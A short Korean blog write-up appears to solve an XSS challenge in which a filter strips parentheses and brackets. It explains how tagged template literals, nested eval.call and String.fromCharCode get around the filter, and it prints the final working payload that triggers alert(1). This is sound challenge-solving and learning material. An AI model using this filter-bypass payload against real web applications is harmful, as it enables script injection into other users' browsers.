0. 문제

 

function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}

 

 

1. 풀이

 

quote로 escape한 후에 alert(1)를 호출해야되는 상황에서 '()'이 막힌 상황이다.

 

template literal를 이용해 함수 호출을 시도해 보았다.

 

여기서는 alert('1')로 인식되어 문자열 1이 들어가기 때문에 이를 고쳐줘야된다.

 

template literal에서 ${}은 두 번째 인자부터 들어가기 시작하는데

 

`abc${a}${b}${c}` 를 인자로 넣으면 abc는 첫 번째, a는 두 번째, b는 세 번째, c는 네 번째 인자로 들어가게 된다.

 

eval을 이용하여 'alert'+'('+'1'+')' 를 만들어 실행시켜주면 되므로

 

'(', ')' 해당 문자열은 String.fromCharCode를 이용하여 만들어 주었다.

 

String.fromCharCode를 실행시켜주기 위해서 eval 함수안에 eval을 하나 더 넣어주게 되었다.

 

 

 

최종 payload:

 

<script> var email = ''|eval.call`${'alert'+eval.call`${'String.fromCharCode`0x28`'}`+1+eval.call`${'String.fromCharCode`0x29`'}`}`|''; </script>

 

 

글자 수를 좀 더 줄여볼 수 있겠지만 나중에...

+ Recent posts